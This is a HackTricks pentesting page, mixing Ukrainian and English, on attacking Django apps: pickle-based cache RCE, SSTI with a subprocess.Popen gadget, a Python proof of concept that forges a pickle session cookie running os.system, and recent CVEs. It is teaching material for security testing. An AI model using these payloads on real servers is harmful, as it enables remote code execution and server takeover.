7.0 KiB
Django
{{#include ../../banners/hacktricks-training.md}}
Маніпуляція кешем для RCE
Django's default cache storage method is Python pickles, which can lead to RCE if untrusted input is unpickled. Якщо атакуючий може отримати права запису в кеш, він може ескалувати цю вразливість до RCE на підлягаючому сервері.
Кеш Django зберігається в одному з чотирьох місць: Redis, memory, files, or a database. Кеш, що зберігається в Redis server або database, є найімовірнішими векторами атаки (Redis injection and SQL injection), але атакуючий також може використати file-based cache, щоб перетворити довільний запис у RCE. Maintainers have marked this as a non-issue. Важливо зазначити, що папка файлів кешу, назва SQL-таблиці та деталі Redis server будуть відрізнятися в залежності від реалізації.
This HackerOne report provides a great, reproducible example of exploiting Django cache stored in a SQLite database: https://hackerone.com/reports/1415436
Server-Side Template Injection (SSTI)
The Django Template Language (DTL) is Turing-complete. Якщо дані, надані користувачем, рендеряться як template string (наприклад, викликом Template(user_input).render()
або коли |safe
/format_html()
видаляє автоекранування), атакуючий може досягти повного SSTI → RCE.
Виявлення
- Шукайте динамічні виклики
Template()
/Engine.from_string()
/render_to_string()
, які включають будь-які ненормалізовані дані запиту. - Відправте тайм-орієнтований або арифметичний payload:
{{7*7}}
Якщо в результаті рендерингу з'являється 49
, вхід компілюється шаблонним двигуном.
Примітив для RCE
Django блокує прямий доступ до __import__
, але граф об'єктів Python доступний:
{{''.__class__.mro()[1].__subclasses__()}}
Знайдіть індекс subprocess.Popen
(≈400–500 залежно від збірки Python) і виконайте довільні команди:
{{''.__class__.mro()[1].__subclasses__()[438]('id',shell=True,stdout=-1).communicate()[0]}}
A safer universal gadget is to iterate until cls.__name__ == 'Popen'
.
The same gadget works for Debug Toolbar or Django-CMS template rendering features that mishandle user input.
Also see: ReportLab/xhtml2pdf PDF export RCE
Додатки, побудовані на Django, зазвичай інтегрують xhtml2pdf/ReportLab для експорту views як PDF. Коли HTML, контрольований користувачем, потрапляє до генерації PDF, rl_safe_eval може оцінювати вирази всередині потрійних дужок [[[ ... ]]]
, що дозволяє виконання коду (CVE-2023-33733). Деталі, payloads, and mitigations:
{{#ref}} ../../generic-methodologies-and-resources/python/bypass-python-sandboxes/reportlab-xhtml2pdf-triple-brackets-expression-evaluation-rce-cve-2023-33733.md {{#endref}}
Pickle-Backed Session Cookie RCE
Якщо налаштування SESSION_SERIALIZER = 'django.contrib.sessions.serializers.PickleSerializer'
увімкнене (або використовується кастомний serializer, що десеріалізує pickle), Django decrypts and unpickles the session cookie before calling any view code. Тому наявність дійсного signing key (проектний SECRET_KEY
за замовчуванням) достатньо для негайного remote code execution.
Exploit Requirements
- Сервер використовує
PickleSerializer
. - Зловмисник знає / може вгадати
settings.SECRET_KEY
(leaks via GitHub,.env
, error pages, etc.).
Proof-of-Concept
#!/usr/bin/env python3
from django.contrib.sessions.serializers import PickleSerializer
from django.core import signing
import os, base64
class RCE(object):
def __reduce__(self):
return (os.system, ("id > /tmp/pwned",))
mal = signing.dumps(RCE(), key=b'SECRET_KEY_HERE', serializer=PickleSerializer)
print(f"sessionid={mal}")
Надішліть отриманий cookie, і payload виконається з дозволами WSGI worker.
Заходи пом'якшення: Keep the default JSONSerializer
, rotate SECRET_KEY
, and configure SESSION_COOKIE_HTTPONLY
.
Останні (2023-2025) CVE високого впливу Django, які повинні перевірити Pentesters
- CVE-2025-48432 – Log Injection via unescaped
request.path
(fixed June 4 2025). Дозволяє зловмисникам вводити символи нового рядка/ANSI-коди у файли логів і псувати подальший аналіз логів. Виправлено у версіях ≥ 4.2.22 / 5.1.10 / 5.2.2. - CVE-2024-42005 – Critical SQL injection in
QuerySet.values()/values_list()
onJSONField
(CVSS 9.8). Сформуйте JSON keys так, щоб вийти з кавичок і виконати довільний SQL. Fixed in 4.2.15 / 5.0.8.
Завжди ідентифікуйте точну версію фреймворка через сторінку помилки X-Frame-Options
або хеш /static/admin/css/base.css
і тестуйте наведене, де це доречно.
Джерела
- Повідомлення про безпеку Django – "Django 5.2.2, 5.1.10, 4.2.22 address CVE-2025-48432" – 4 Jun 2025.
- OP-Innovate: "Django releases security updates to address SQL injection flaw CVE-2024-42005" – 11 Aug 2024.
- 0xdf: University (HTB) – Exploiting xhtml2pdf/ReportLab CVE-2023-33733 to gain RCE and pivot into AD – https://0xdf.gitlab.io/2025/08/09/htb-university.html
{{#include ../../banners/hacktricks-training.md}}